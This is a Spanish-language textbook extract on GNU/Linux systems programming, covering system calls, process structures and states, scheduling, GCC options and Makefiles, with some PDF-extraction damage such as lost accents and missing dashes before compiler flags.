programacion gnulinux

Upload: junior-sumosa

Post on 07-Apr-2018

232 views

Category:

Documents


0 download

TRANSCRIPT

  • 8/6/2019 programacion gnulinux

    1/82

  • 8/6/2019 programacion gnulinux

    2/82

  • 8/6/2019 programacion gnulinux

    3/82

    GNU/Linux:Programacin de

    Sistemas

    Pablo Garaizar Sagarminaga

    email: [email protected]: http://paginaspersonales.deusto.es/garaizarblog: http://blog.txipinet.com

    Facultad de Ingeniera - ESIDEUniversidad de DeustoBilbao

    mailto:[email protected]://paginaspersonales.deusto.es/garaizarhttp://blog.txipinet.com/http://paginaspersonales.deusto.es/garaizarhttp://blog.txipinet.com/mailto:[email protected]
  • 8/6/2019 programacion gnulinux

    4/82

    Tabla de contenido

    1. PROGRAMACINEN GNU/LINUX...........................................51.1 Llamadas al sistema..........................................................51.2 Programas, procesos, hilos................................................6

    1.2.1 Estructuras de datos...............................................71.2.2 Estados de los procesos en Linux...........................81.2.3 Identificativos de proceso.......................................91.2.4 Planificacin..........................................................11

    1.3 El GCC.............................................................................121.3.1 Compilacin bsica...............................................121.3.2 Paso a paso...........................................................131.3.3 Libreras................................................................141.3.4 Optimizaciones.....................................................14

    1.3.5 Debugging............................................................151.4 make world......................................................................151.4.1 Makefile, el guin de make...................................16

    1.5 Programando en C para GNU/Linux.................................201.5.1 Hola, mundo!........................................................201.5.2 Llamadas sencillas................................................211.5.3 Manejo de directorios...........................................321.5.4 Jugando con los permisos.....................................351.5.5 Creacin y duplicacin de procesos.....................381.5.6 Comunicacin entre procesos..............................431.5.7 Comunicacin por red...........................................62

    2. LICENCIA....................................................................80

    ii

  • 8/6/2019 programacion gnulinux

    5/82

    ndice de figuras

    FIGURA 1.1.1 MECANISMODEPETICINDESERVICIOSALKERNEL..........6FIGURA 1.5.2 LOSDESCRIPTORESDE FICHERO INICIALESDE UNPROCESO...............................................................................24

    FIGURA 1.5.3 DUPLICACINDEPROCESOSMEDIANTEFORK().............39FIGURA 1.5.4 PROCESOS RECIBIENDO SEALES, RUTINAS DE CAPTURAY

    PROCESODESEALES.......................................................48FIGURA 1.5.5 LALLAMADAALAFUNCINALARM() GENERARUNASEAL

    SIG_ALARM HACIAELMISMOPROCESOQUELAINVOCA...............49FIGURA 1.5.6 UNATUBERAESUNIDIRECCIONAL, COMOLOSTELFONOSDE

    YOGUR.......................................................................52FIGURA 1.5.7 ELPROCESOPADREYSUHIJOCOMPARTENDATOSMEDIANTE

    UNATUBERA................................................................53FIGURA 1.5.8 DOS PROCESOS SE COMUNICAN BIDIRECCIONALMENTE CON

    DOSTUBERAS...............................................................55FIGURA 1.5.9 COMUNICACINMEDIANTECAPASDEPROTOCOLOSDERED.64

    iii

  • 8/6/2019 programacion gnulinux

    6/82

    ndice de tablas

    TABLA 1.2.1 CREDENCIALESDEUNPROCESOYSUSSIGNIFICADOS.........11TABLA 1.4.2 LISTA DE LAS VARIABLES AUTOMTICAS MS COMUNES EN

    MAKEFILES..................................................................18TABLA 1.5.3 LISTADELOSPOSIBLESVALORESDEL ARGUMENTO FLAGS.

    ..............................................................................23TABLA 1.5.4 LISTADELOSPOSIBLESVALORESDEL ARGUMENTO MODE.

    ..............................................................................23TABLA 1.5.5 LISTADELOSPOSIBLESVALORESDEL ARGUMENTO WHENCE.

    ..............................................................................28

    iv

  • 8/6/2019 programacion gnulinux

    7/82

    1.Programacin en

    GNU/Linux

    n este texto repasaremos conceptos de multiprogramacin como lasdefiniciones de programa, proceso e hilos, y explicaremos elmecanismo de llamadas al sistema que emplea Linux para poder

    aceptar las peticiones desde el entorno de usuario.E

    Seguidamente veremos las posibilidades que nos ofrece el Compilador deC de GNU, GCC, y programaremos nuestros primeros ejecutables paraGNU/Linux. Despus de repasar las llamadas al sistema ms comunes,analizaremos las particularidades de UNIX a la hora de manejar directorios,

    permisos, etc., y nos adentraremos en la Comunicacin Interproceso (IPC).Finalmente abordaremos de forma introductoria la programacin de socketsde red, para dotar de capacidades telemticas a nuestros programas.

    1.1 Llamadas al sistema

    GNU/Linux es un Sistema Operativo multitarea en el que van a convivirun gran nmero de procesos. Es posible, bien por un fallo de programacin obien por un intento malicioso, que alguno de esos procesos haga cosas queatenten contra la estabilidad de todo el sistema. Por ello, con vistas aproteger esa estabilidad, el ncleo o kernel del sistema funciona en unentorno totalmente diferente al resto de programas. Se definen entonces dosmodos de ejecucin totalmente separados: el modo kernel y el modo usuario.Cada uno de estos modos de ejecucin dispone de memoria y procedimientosdiferentes, por lo que un programa de usuario no podr ser capaz de daaral ncleo.

    Aqu se plantea una duda: si el ncleo del sistema es el nico capaz demanipular los recursos fsicos del sistema (hardware), y ste se ejecuta en unmodo de ejecucin totalmente disjunto al del resto de los programas, cmoes posible que un pequeo programa hecho por m sea capaz de leer y

    escribir en disco? Bien, la duda es lgica, porque todava no hemos habladode las llamadas o peticiones al sistema (syscalls).

    5

  • 8/6/2019 programacion gnulinux

    8/82

    Programacin de Sistemas 6

    Las syscalls o llamadas al sistema son el mecanismo por el cual losprocesos y aplicaciones de usuario acceden a los servicios del ncleo. Son lainterfaz que proporciona el ncleo para realizar desde el modo usuario lascosas que son propias del modo kernel (como acceder a disco o utilizar unatarjeta de sonido). La siguiente figura explica de forma grfica cmo

    funciona la syscall read():

    Figura 1.1.1 Mecanismo de peticin de servicios al kernel.

    El proceso de usuario necesita acceder al disco para leer, para elloutiliza la syscall read() utilizando la interfaz de llamadas al sistema. Elncleo atiende la peticin accediendo al hardware y devolviendo el resultadoal proceso que inici la peticin. Este procedimiento me recuerda al comedor

    de un restaurante, en l todos los clientes piden al camarero lo que desean,pero nunca entran en la cocina. El camarero, despus de pasar por la cocina,traer el plato que cada cliente haya pedido. Ningn comensal podraestropear la cocina, puesto que no tiene acceso a ella.

    Prcticamente todas las funciones que utilicemos desde el espacio deejecucin de usuario necesitarn solicitar una peticin al kernel medianteuna syscall, esto es, la ejecucin de las aplicaciones de usuario se canaliza atravs del sistema de peticiones al sistema. Este hecho es importante a lahora de fijar controles y registros en el sistema, ya que si utilizamos nuestraspropias versiones de las syscalls para ello, estaremos abarcando todas las

    aplicaciones y procesos del espacio de ejecucin de usuario. Imaginemos uncamarero malicioso que capturase todas las peticiones de todos losclientes y envenenase todos los platos antes de servirlos... nuestrorestaurante debera cuidarse muy bien de qu personal contrata y nosotrosdeberemos ser cautelosos tambin a la hora de cargar drivers o mdulos ennuestro ncleo.

    1.2 Programas, procesos, hilos...

    Un proceso es una entidad activa que tiene asociada un conjunto de

    atributos: cdigo, datos, pila, registros e identificador nico. Representa laentidad de ejecucin utilizada por el Sistema Operativo. Frecuentemente seconocen tambin con el nombre de tareas (tasks).

  • 8/6/2019 programacion gnulinux

    9/82

    Programacin de Sistemas 7

    Un programa representa una entidad pasiva. Cuando un programa esreconocido por el Sistema Operativo y tiene asignado recursos, se convierteen proceso. Es decir, la ejecucin de cdigo implica la existencia de unentorno concreto.

    Generalmente un proceso: Es la unidad de asignacin de recursos: el Sistema

    Operativo va asignando los recursos del sistema a cadaproceso.

    Es una unidad de despacho: un proceso es una entidadactiva que puede ser ejecutada, por lo que el SistemaOperativo conmuta entre los diferentes procesos listospara ser ejecutados o despachados.

    Sin embargo, en algunos Sistemas Operativos estas dos unidades seseparan, entendindose la segunda como un hilo o thread. Los hilos nogeneran un nuevo proceso sino que producen flujos de ejecucin disjuntosdentro del mismo proceso. As pues, un hilo o proceso ligero (lightweightprocess, LWP) comparte los recursos del proceso, as como la seccin dedatos y de cdigo del proceso con el resto de hilos. Esto hace que la creacinde hilos y el cambio de ejecucin entre hilos sea menos costoso que elcambio de contexto entre procesos, aumentando el rendimiento global delsistema.

    Un Sistema Operativo multiusuario y multiprogramado (multitarea)

    pretende crear la ilusin a sus usuarios de que se dispone del sistema alcompleto. La capacidad de un procesador de cambiar de tarea o contexto esinfinitamente ms rpida que la que pueda tener una persona normal, por loque habitualmente el sistema cumple este objetivo. Es algo parecido a lo quepasa en un restaurante de comida rpida: por muy rpido que seascomiendo, normalmente la velocidad de servir comida es mucho mayor. Si uncamarero fuese atendindote cada 5 minutos, podras tener la sensacin deque eres el cliente ms importante del local, pero en realidad lo que esthaciendo es compartir sus servicios (recursos) entre todos los clientes deforma rpida (time-sharing).

    1.2.1 Estructuras de datosSi queremos implementar la ejecucin de varias tareas al mismo tiempo,

    los cambios de contexto entre tareas y todo lo concerniente a lamultiprogramacin, es necesario disponer de un modelo de procesos y lasestructuras de datos relacionadas para ello. Un modelo de procesos tpicoconsta de los siguientes elementos:

    PCB (Process Control Block): un bloque o estructura dedatos que contiene la informacin necesaria de cada

    proceso. Permite almacenar el contexto de cada uno delos procesos con el objeto de ser reanudadoposteriormente. Suele ser un conjunto de identificadores

  • 8/6/2019 programacion gnulinux

    10/82

    Programacin de Sistemas 8

    de proceso, tablas de manejo de memoria, estado de losregistros del procesador, apuntadores de pila, etc.

    Tabla de Procesos: la tabla que contiene todos los PCBs obloques de control de proceso. Se actualiza a medida que

    se van creando y eliminando procesos o se producentransiciones entre los estados de los mismos.

    Estados y Transiciones de los Procesos: los procesos seordenan en funcin de su informacin de Planificacin,es decir, en funcin de su estado. As pues, habrprocesos bloqueados en espera de un recurso, listos parala ejecucin, en ejecucin, terminando, etc.

    Vector de Interrupciones: contiene un conjunto deapuntadores a rutinas que se encargarn de atendercada una de las interrupciones que puedan producirse enel sistema.

    En Linux esto est implementado a travs de una estructura de datosdenominada task_struct. Es el PCB de Linux, en ella se almacena toda lainformacin relacionada con un proceso: identificadores de proceso, tablasde manejo de memoria, estado de los registros del procesador, apuntadoresde pila, etc.

    La Tabla de Procesos no es ms que un array de task_struct, en la versin

    2.4.x de Linux desaparece el array task[] como tal y se definen arrays parabuscar procesos en funcin de su identificativo de proceso (PID) como pidash:

    extern struct task_struct *pidhash[PIDHASH_SZ];

    PIDHASH_SZ determina el nmero de tareas capaces de ser gestionadas poresa tabla (definida en /usr/src/linux/include/linux/sched.h). Por defecto PIDHASH_SZvale.512 (#define PIDHASH_SZ (4096 >> 2)), es decir, es posible gestionar 512tareas concurrentemente desde un nico proceso inicial o init. Podremostener tantos procesos init o iniciales como CPUs tenga nuestro sistema:

    extern struct task_struct *init_tasks[NR_CPUS];

    NR_CPUS determina el nmero de procesadores disponibles en el sistema(definida en /usr/src/linux/include/linux/sched.h). Por defecto NR_CPUS vale.1, perosi se habilita el soporte para multiprocesador, SMP, este nmero puedecrecer (hasta 32 en la versin del kernel: 2.4.19, por ejemplo).

    1.2.2 Estados de los procesos en Linux

    Como ya hemos comentado, los procesos van pasando por una serie deestados discretos desde que son creados hasta que terminan o mueren. Los

    diferentes estados sirven para saber cmo se encuentra un proceso encuanto a su ejecucin, con el objeto de llevar un mejor control y aumentar el

  • 8/6/2019 programacion gnulinux

    11/82

    Programacin de Sistemas 9

    rendimiento del sistema. No tendra sentido, por ejemplo, cederle tiempo deprocesador a un proceso que sabemos que sabemos a ciencia cierta que esta la espera de un recurso todava no liberado.

    En Linux el estado de cada proceso se almacena dentro de un campo de

    la estructura task_struct. Dicho campo, state, ir variando en funcin delestado de ejecucin en el que se encuentre el proceso, pudiendo tomar lossiguientes valores:

    TASK_RUNNING (0 ): Indica que el proceso en cuestin se estejecutando o listo para ejecutarse. En este segundo caso,el proceso dispone de todos los recursos necesariosexcepto el procesador.

    TASK_INTERRUPTIBLE (1 ): el proceso est suspendido a laespera de alguna seal para pasar a listo paraejecutarse. Generalmente se debe a que el proceso estesperando a que otro proceso del sistema le preste algnservicio solicitado.

    TASK_UNINTERRUPTIBLE (2 ): el proceso est bloqueadoesperando a que se le conceda algn recurso hardwareque ha solicitado (cuando una seal no es capaz dedespertarlo).

    TASK_ZOMBIE (4): el proceso ha finalizado pero an no se haeliminado todo rastro del mismo del sistema. Esto eshabitualmente causado porque el proceso padre todavalo espera con una wait().

    TASK_STOPPED (8): el proceso ha sido detenido por una

    seal o bien mediante el uso de ptrace()para ser trazado.

    En funcin del estado de la tarea o proceso, estar en una u otra cola deprocesos:

    Cola de Ejecucin o runqueue: procesos en estadoTASK_RUNNING .

    Colas de Espera o wait queues: procesos en estadoTASK_INTERRUPTIBLE TASK_IN INTERRUPTIBLE.

    Los procesos en estado TASK_ZOMBIE TASK_STOPPED nonecesitan colas para ser gestionados.

    1.2.3 Identificativos de procesoTodos los procesos del sistema tienen un identificativo nico que se

    conoce como Identificativo de Proceso o PID. El PID de cada proceso escomo su DNI (Documento Nacional de Identidad), todo el mundo tiene elsuyo y cada nmero identifica a un sujeto en concreto. Si queremos ver losPIDs de los procesos que estn actualmente presentes en nuestro sistema,podemos hacerlo mediante el uso del comando ps, que nos informa delestado de los procesos:

    txipi@neon:~$ ps xaPID TTY STAT TIME COMMAND1 ? S 0:05 init [2]

  • 8/6/2019 programacion gnulinux

    12/82

    Programacin de Sistemas 10

    2 ? SW 0:00 [keventd]3 ? SWN 0:03 [ksoftirqd_CPU0]4 ? SW 0:12 [kswapd]5 ? SW 0:00 [bdflush]6 ? SW 0:03 [kupdated]75 ? SW 0:12 [kjournald]

    158 ? S 1:51 /sbin/syslogd160 ? S 0:00 /sbin/klogd175 ? S 0:00 /usr/sbin/inetd313 ? S 0:00 /usr/sbin/sshd319 ? S 0:00 /usr/sbin/atd322 ? S 0:04 /usr/sbin/cron330 tty1 S 0:00 /sbin/getty 38400 tty1331 tty2 S 0:00 /sbin/getty 38400 tty2332 tty3 S 0:00 /sbin/getty 38400 tty3333 tty4 S 0:00 /sbin/getty 38400 tty4334 tty5 S 0:00 /sbin/getty 38400 tty5335 tty6 S 0:00 /sbin/getty 38400 tty6

    22985 ? S 0:00 /usr/sbin/sshd

    22987 ? S 0:00 /usr/sbin/sshd22988 pts/0 S 0:00 -bash23292 pts/0 R 0:00 ps xa

    En la primera columna vemos cmo cada uno de los procesos, incluido elpropio ps xa tienen un identificativo nico o PID. Adems de esto, es posiblesaber quin ha sido el proceso padre u originario de cada proceso,consultando su PPID, es decir, el Parent Process ID. De esta manera esbastante sencillo hacernos una idea de cul ha sido el rbol de creacin delos procesos, que podemos obtener con el comando pstree:

    txipi@neon:~$ pstreeinit-+-atd|-cron|-6*[getty]|-inetd|-keventd|-kjournald|-klogd|-sshd---sshd---sshd---bash---pstree`-syslogd

    Como vemos, el comando pstree es el proceso hijo de un intrprete de

    comandos (bash) que a su vez es hijo de una sesin de SSH (Secure Shell).Otro dato de inters al ejecutar este comando se da en el hecho de que elproceso init es el proceso padre de todos los dems procesos. Esto ocurresiempre: primero se crea el proceso init, y todos los procesos siguientes secrean a partir de l.

    Adems de estos dos identificativos existen lo que se conocen comocredenciales del proceso, que informan acerca del usuario y grupo que loha lanzado. Esto se utiliza para decidir si un determinado proceso puedeacceder a un recurso del sistema, es decir, si sus credenciales son suficientespara los permisos del recurso. Existen varios identificativos utilizados como

    credenciales, todos ellos almacenados en la estructura task_struct:

    /* process credentials */

  • 8/6/2019 programacion gnulinux

    13/82

    Programacin de Sistemas 11

    uid_t uid,euid,suid,fsuid;

    gid_t gid,egid,sgid,fsgid;

    Su significado es el siguiente

    Identificativosreales

    uid Identificativo de usuarioreal asociado al proceso

    gid Identificativo de grupo realasociado al proceso

    Identificativosefectivos

    euid Identificativo de usuarioefectivo asociado al

    proceso

    egid Identificativo de grupoefectivo asociado al

    procesoIdentificativosguardados

    suid Identificativo de usuarioguardado asociado al

    proceso

    sgid Identificativo de grupoguardado asociado al

    procesoIdentificativos deacceso a ficheros

    fsuid Identificativo de usuarioasociado al proceso paralos controles de acceso a

    ficheros

    fsgid Identificativo de grupoasociado al proceso paralos controles de acceso a

    ficheros

    Tabla 1.2.1 Credenciales de un proceso y sus significados.

    1.2.4 PlanificacinEl planificador o scheduleren Linux se basa en las prioridades estticas y

    dinmicas de cada una de las tareas. A la combinacin de ambas prioridadesse la conoce como bondad de una tarea (tasks goodness), y determina elorden de ejecucin de los procesos o tareas: cuando el planificador est enfuncionamiento se analiza cada una de las tareas de la Cola de Ejecucin yse calcula la bondad de cada una de las tareas. La tarea con mayor

    bondad ser la prxima que se ejecute.

    Cuando hay tareas extremadamente importantes en ejecucin, elplanificador se llama en intervalos relativamente amplios de tiempo,pudindose llegar a periodos de 0,4 segundos sin ser llamado. Esto puedemejorar el rendimiento global del sistema evitando innecesarios cambios decontexto, sin embargo es posible que afecte a su interatividad, aumentandolo que se conoce como latencias de planificacin (scheduling latencies).

    El planificador de Linux utiliza un contador que genera una

    interrupcin cada 10 milisegundos. Cada vez que se produce dichainterrupcin el planificador decrementa la prioridad dinmica de latarea en ejecucin. Una vez que este contador ha llegado a cero, serealiza una llamada a la funcin schedule(), que se encarga de laplanificacin de las tareas. Por lo tanto, una tarea con una prioridadpor defecto de 20 podr funcionar durante 0,2 segundos (200milisegundos) antes de que otra tarea en el sistema tenga laposibilidad de ejecutarse. Por lo tanto, tal y como comentbamos,una tarea con mxima prioridad (40) podr ejecutarse durante 0,4segundos sin ser detenida por un evento de planificacin.

    El ncleo del sistema se apoya en las estructuras task_structpara planificarla ejecucin de las tareas, ya que, adems de los campos comentados, esta

  • 8/6/2019 programacion gnulinux

    14/82

    Programacin de Sistemas 12

    estructura contiene mucha informacin desde el punto de vista de laplanificacin:

    volat i le long state: nos informa del estado de la tarea,indicando si la tarea es ejecutable o si es interrumpible

    (puede recibir seales) o no. long counter: representa la parte dinmica de la bondad

    de una tarea. Inicialmente se fija al valor de la prioridadesttica de la tarea.

    long prior i ty:representa la parte esttica de la bondad dela tarea.

    long need_resched: se analiza antes de volver a la tarea encurso despus de haber llamado a una syscall, con elobjeto de comprobar si es necesario volver a llamar aschedule()para planificar de nuevo la ejecucin de las

    tareas. unsigned long po l icy: inidica la poltica de planificacinempleada: FIFO, ROUND ROBIN, etc.

    unsigned rt_priority: se utiliza para determinar la bondadde una tarea al utilizar tiempo real por software.

    st ruct mm_struc t *mm: apunta a la informacin de gestin dmemoria de la tarea. Algunas tareas comparten memoriapor lo que pueden compartir una nica estructuramm_struc t.

    1.3 El GCCLas siglas GCC significan actualmente GNU Compiler Collection

    (Coleccin de compiladores GNU). Antes estas mismas siglas significabanGNU C Compiler (Compilador C de GNU), si bien ahora se utilizan paradenominar a toda una coleccin de compiladores de diversos lenguajes comoC, C++, Objetive C, Chill, Fortran, y Java. Esta coleccin de compiladoresest disponible para prcticamente todos los Sistemas Operativos, si bien escaracterstica de entornos UNIX libres y se incluye en la prctica totalidadde distribuciones de GNU/Linux. En su desarrollo participan voluntarios detodas las partes del mundo y se distribuye bajo la licencia GPL (General

    Public License) lo que lo hace de libre distribucin: est permitido hacercopias de l y regalarlas o venderlas siempre que se incluya su cdigo fuentey se mantenga la licencia. Nosotros nos referiremos al GCC nicamentecomo el compilador de C estndar en GNU/Linux.

    1.3.1 Compilacin bsica

    GCC es un compilador de lnea de comandos, aunque existen numerososIDE o entornos de desarrollo que incluyen a GCC como su motor decompilacin. La manera ms simple de llamar a GCC es esta:

    gcc codigo.c o ejecutable

  • 8/6/2019 programacion gnulinux

    15/82

    Programacin de Sistemas 13

    As el GCC compilar el cdigo fuente que haya en codigo.c y generarun fichero ejecutable en ejecutable. Si todo el proceso se ha desarrolladocorrectamente, el GCC no devuelve ningn mensaje de confirmacin. Enrealidad la opcin -o para indicar el fichero de salida no es necesaria, y sino se indica se guarda el resultado de la compilacin en el fichero a.out.

    Muchos proyectos de software estn formados por ms de un ficherofuente, por lo que habr que compilar varios ficheros para generar un nicoejecutable. Esto se puede hacer de forma sencilla llamando a GCC con variosficheros fuente y un ejecutable:

    gcc menu.c bd.c motor.c o juego

    Sin embargo es bastante probable que todos los ficheros fuente de unmismo proyecto no se encuentren en el mismo directorio, y que conforme elproyecto crezca, existan muchos ficheros de cabeceras (los tpicos .h) y se

    alojen en directorios diferentes. Para evitar problemas a la hora de tratarcon proyectos semejantes, podemos hacer uso de la opcin -I e incluir losficheros que sean necesario. Imaginemos que tenemos un proyecto en el quetodos los ficheros fuente estn dentro del directorio src y todos los ficherosde cabeceras estn en el directorio include. Podramos compilar el proyectode la siguiente manera:

    gcc ./src/*.c Iinclude o juego

    1.3.2 Paso a pasoHasta ahora hemos dado por hecho que es normal que un compiladorrealice todos los pasos necesarios para obtener un ejecutable partiendo delcdigo fuente, si bien esto no tiene por qu ser as. A la hora de generar unejecutable hay una serie de procesos implicados:

    1. Edicin del cdigo fuente cdigo fuente.2. Preprocesado cdigo fuente preprocesado.3. Compilacin cdigo ensamblador.4. Ensamblado cdigo objeto.5. Enlazado ejecutable.

    Mediante el GCC pueden realizarse todos ellos secuencialmente hastaconseguir el ejecutable. Eso es lo que hemos estado haciendo en losejemplos anteriores, pero en ocasiones es conveniente parar el proceso enun paso intermedio para evaluar los resultados:

    Con la opcin -E detenemos el proceso en la etapa depreprocesado, obteniendo cdigo fuente preprocesado.

    Con la opcin -S se detiene en la etapa de compilacin,pero no ensambla el cdigo.

    Con la opcin -c, compila y ensambla el cdigo, pero nolo enlaza, obteniendo cdigo objeto.

  • 8/6/2019 programacion gnulinux

    16/82

    Programacin de Sistemas 14

    Si no indicamos ninguna de estas opciones, se realizarnlas cuatro fases de las que se encarga el GCC:preprocesado, compilacin, ensamblado y enlazado.

    Ahora ya controlamos ms el proceso. Cuando un proyecto involucra

    muchos ficheros es bastante normal que no todas sus partes tengan lasmismas opciones de compilacin. Por ello es muy til generarseparadamente los respectivos cdigos objeto, y cuando ya estn todosgenerados, enlazarlos para obtener el ejecutable:

    gcc c bd.c o bd.ogcc c motor.c lgraphics o motor.ogcc c menu.c lcurses o menu.ogcc bd.o motor.o menu.o o juego

    1.3.3 Libreras

    Conforme un proyecto va ganando entidad se hace casi irremediable eluso de libreras (realmente son bibliotecas) de funciones, que permitenreutilizar cdigo de manera cmoda y eficiente. Para utilizar librerasestndar en el sistema es necesario emplear la opcin - l a la hora de llamara GCC:

    gcc c menu.c lcurses o menu.o

    La compilacin de este fichero (menu.c) requiere que est instalada lalibrera curses o ncurses en el sistema, por ejemplo (la librera se llamar

    casi con seguridad l ibncurses). Si la librera no es una librera estndar en elsistema, sino que pertenece nicamente a nuestro proyecto, podremosindicar la ruta empleando la opcin -L:

    gcc c motor.c L./libs/librera-motor o motor.o

    1.3.4 Optimizaciones

    El GCC incluye opciones de optimizacin en cuanto al cdigo generado.Existen 3 niveles de optimizacin de cdigo:

    1. Con -O1 conseguimos optimizaciones en bloquesrepetitivos, operaciones con coma flotante, reduccin desaltos, optimizacin de manejo de parmetros en pila,etc.

    2. Con -O2 conseguimos todas las optimizaciones de -O1ms mejoras en el abastecimiento de instrucciones alprocesador, optimizaciones con respecto al retardoocasionado al obtener datos del heap o de la memoria,etc.

    3. Con -O3 conseguimos todas las optimizaciones de -O2ms el desenrollado de bucles y otras prestaciones muy

    vinculadas con el tipo de procesador.

  • 8/6/2019 programacion gnulinux

    17/82

    Programacin de Sistemas 15

    Si queremos tener un control total acerca de las opciones de optimizacinempleadas podremos utilizar la opcin - f:

    - f fas tmath: genera optimizaciones sobre las operacionesde coma flotante, en ocasiones saltndose restriccionesde estndares IEEE o ANSI.

    - f in l ine- funct ions: expande todas las funciones inlinedurante la compilacin.

    - funrol l - loops: desenrolla todos los bucles, convirtindolosen una secuencia de instrucciones. Se gana en velocidada costa de aumentar el tamao del cdigo.

    1.3.5 Debugging

    Los errores de programacin o bugs son nuestros compaeros de viajea la hora de programar cualquier cosa. Es muy comn programar cualquieraplicacin sencillsima y que por alguna mgica razn no funcionecorrectamente, o lo haga slo en determinadas ocasiones (esto desesperaan ms). Por ello, muchas veces tenemos que hacer debugging, ir a lacaza y captura de nuestros bugs.-La manera ms ruin de buscar fallostodos la conocemos, aunque muchas veces nos d vergenza reconocerlo, enlugar de pelearnos con debuggers, llenar el cdigo de llamadas a pr in t f ( )sacando resultados intermedios es lo ms divertido. En muchas ocasioneshacemos de ello un arte y utilizamos variables de preprocesado para indicarqu parte del cdigo es de debug y cul no. Para indicar una variable depreprocesado en GCC se utiliza la opcin - D:

    gcc DDEBUG prueba.c o prueba

    Si queremos optar por una alternativa ms profesional, quiz convengautilizar las opciones - g o - ggdb para generar informacin extra de debugen nuestro ejecutable y poder seguir de forma ms cmoda su ejecucinmediante el GDB (GNU Debugger).

    Si deseamos obtener todas las posibles advertencias en cuanto ageneracin del ejecutable partiendo de nuestro cdigo fuente, emplearemos- Wal l, para solicitar todos los warnings en los que incurra nuestro cdigo.As mismo, podramos utilizar la opcin -ansi o -pedantic para tratar de

    acercar nuestros programas al estndar ANSI C.

    1.4 make world

    Hemos visto en el anterior apartado cmo el desarrollo de un programapuede involucrar muchos ficheros diferentes, con opciones de compilacinmuy diversas y complejas. Esto podra convertir la programacin deherramientas que involucren varios ficheros en un verdadero infierno. Sinembargo, make permite gestionar la compilacin y creacin de ejecutables,aliviando a los programadores de stas tareas.

    Con make deberemos definir solamente una vez las opciones decompilacin de cada mdulo o programa. El resto de llamadas sern

  • 8/6/2019 programacion gnulinux

    18/82

    Programacin de Sistemas 16

    sencillas gracias a su funcionamiento mediante reglas de compilacin.Adems, make es capaz de llevar un control de los cambios que ha habido enlos ficheros fuente y ejecutables y optimiza el proceso de edicin-compilacin-depuracin evitando recompilar los mdulos o programas queno han sido modificados.

    1.4.1 Makefile, el guin de makeLos Makefiles son los ficheros de texto que utiliza make para llevar la

    gestin de la compilacin de programas. Se podran entender como losguiones de la pelcula que quiere hacer make , o la base de datos que informasobre las dependencias entre las diferentes partes de un proyecto.

    Todos los Makefiles estn ordenados en forma de reglas, especificandoqu es lo que hay que hacer para obtener un mdulo en concreto. El formatode cada una de esas reglas es el siguiente:

    objetivo : dependenciascomandos

    En objetivo definimos el mdulo o programa que queremos crear,despus de los dos puntos y en la misma lnea podemos definir qu otrosmdulos o programas son necesarios para conseguir el objetivo. Por ltimo,en la lnea siguiente y sucesivas indicamos los comandos necesarios parallevar esto a cabo. Es muy importante que los comandos estn separadospor un tabulador de el comienzo de lnea. Algunos editores como el mceditcambian los tabuladores por 8 espacios en blanco, y esto hace que los

    Makefiles generados as no funcionen. Un ejemplo de regla podra ser elsiguiente:

    juego : ventana.o motor.o bd.ogcc O2 c juego.c o juego.ogcc O2 juego.o ventana.o motor.o bd.o o juego

    Para crear juego es necesario que se hayan creado ventana.o, motor.o ybd.o (tpicamente habr una regla para cada uno de esos ficheros objeto enese mismo Makefile).

    En los siguientes apartados analizaremos un poco ms a fondo la sintaxisde los Makefiles.

    1.4.1.1 Comentarios en Makefiles

    Los ficheros Makefile pueden facilitar su comprensin mediantecomentarios. Todo lo que est escrito desde el carcter # hasta el final dela lnea ser ignorado por make. Las lneas que comiencen por el carcter #sern tomadas a todos los efectos como lneas en blanco.

    Es bastante recomendable hacer uso de comentarios para dotar de mayor

    claridad a nuestros Makefiles. Podemos incluso aadir siempre una cabeceracon la fecha, autor y nmero de versin del fichero, para llevar un control deversiones ms eficiente.

  • 8/6/2019 programacion gnulinux

    19/82

    Programacin de Sistemas 17

    1.4.1.2 Variables

    Es muy habitual que existan variables en los ficheros Makefile, parafacilitar su portabilidad a diferentes plataformas y entornos. La forma dedefinir una variable es muy sencilla, basta con indicar el nombre de lavariable (tpicamente en maysculas) y su valor, de la siguiente forma:

    CC = gcc O2

    Cuando queramos acceder al contenido de esa variable, lo haremos as:

    $(CC) juego.c o juego

    Es necesario tener en cuenta que la expansin de variables puede darlugar a problemas de expansiones recursivas infinitas, por lo que a veces seemplea esta sintaxis:

    CC := gccCC := $(CC) O2

    Empleando := en lugar de = evitamos la expansin recursiva y por lotanto todos los problemas que pudiera acarrear.

    Adems de las variables definidas en el propio Makefile, es posible haceruso de las variables de entorno, accesibles desde el intrprete de comandos.Esto puede dar pie a formulaciones de este estilo:

    SRC = $(HOME)/src

    juego :gcc $(SCR)/*.c o juego

    Empleando := en lugar de = evitamos la expansin recursiva y por lotanto todos los problemas que pudiera acarrear.

    Un tipo especial de variables lo constituyen las variables automticas,aquellas que se evalan en cada regla. A m, personalmente, me recuerdan alos parmetros de un script. En la siguiente tabla tenemos una lista de lasms importantes:

    Variable Descripcin$@ Se sustituye por el nombre del objetivo de la presente regla.$* Se sustituye por la raz de un nombre de fichero.$< Se sustituye por la primera dependencia de la presente regla.

    $^Se sustituye por una lista separada por espacios de cada unade las dependencias de la presente regla.

    $?Se sustituye por una lista separada por espacios de cada unade las dependencias de la presente regla que sean ms nuevasque el objetivo de la regla.

    $(@D)Se sustituye por la parte correspondiente al subdirectorio de laruta del fichero correspondiente a un objetivo que se

    encuentre en un subdirectorio.$(@F)

    Se sustituye por la parte correspondiente al nombre del ficherode la ruta del fichero correspondiente a un objetivo que seencuentre en un subdirectorio.

  • 8/6/2019 programacion gnulinux

    20/82

    Programacin de Sistemas 18

    Tabla 1.4.2 Lista de las variables automticas ms comunes en Makefiles.

    1.4.1.3 Reglas virtuales

    Es relativamente habitual que adems de las reglas normales, los ficherosMakefile pueden contener reglas virtuales, que no generen un fichero enconcreto, sino que sirvan para realizar una determinada accin dentro denuestro proyecto software. Normalmente estas reglas suelen tener unobjetivo, pero ninguna dependencia.

    El ejemplo ms tpico de este tipo de reglas es la regla clean queincluyen casi la totalidad de Makefiles, utilizada para limpiar de ficherosejecutables y ficheros objeto los directorios que haga falta, con el propsitode rehacer todo la prxima vez que se llame a make :

    clean :rm f juego *.o

    Esto provocara que cuando alguien ejecutase make clean, el comandoasociado se ejecutase y borrase el fichero juego y todos los ficheros objeto.Sin embargo, como ya hemos dicho, este tipo de reglas no suelen tenerdependencias, por lo que si existiese un fichero que se llamase clean dentrodel directorio del Makefile, make considerara que ese objetivo ya estrealizado, y no ejecutara los comandos asociados:

    txipi@neon:~$ touch cleantxipi@neon:~$ make cleanmake: `clean' est actualizado.

